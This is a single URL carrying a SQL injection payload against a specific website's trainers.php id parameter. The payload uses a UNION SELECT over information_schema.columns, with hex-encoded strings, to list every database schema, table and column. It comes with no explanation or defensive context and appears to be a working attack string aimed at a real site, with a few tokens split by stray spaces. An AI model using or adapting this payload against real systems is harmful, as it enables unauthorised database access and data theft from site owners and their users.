http://www.iamsynergy.com/trainers.php?id=-12 union select 1,2,(select(@x)from(select(@x:=0x00), (select(0)from(information_schema.columns)where(ta ble_schema!=0x696e666f726d6174696f6e5f736368656d61 )and(0x00)in(@x:=concat(@x,0x3c62723e,table_schema ,0x2e,table_name,0x3a,column_name))))x),4,5,6,7,8, 9,0,1,12 --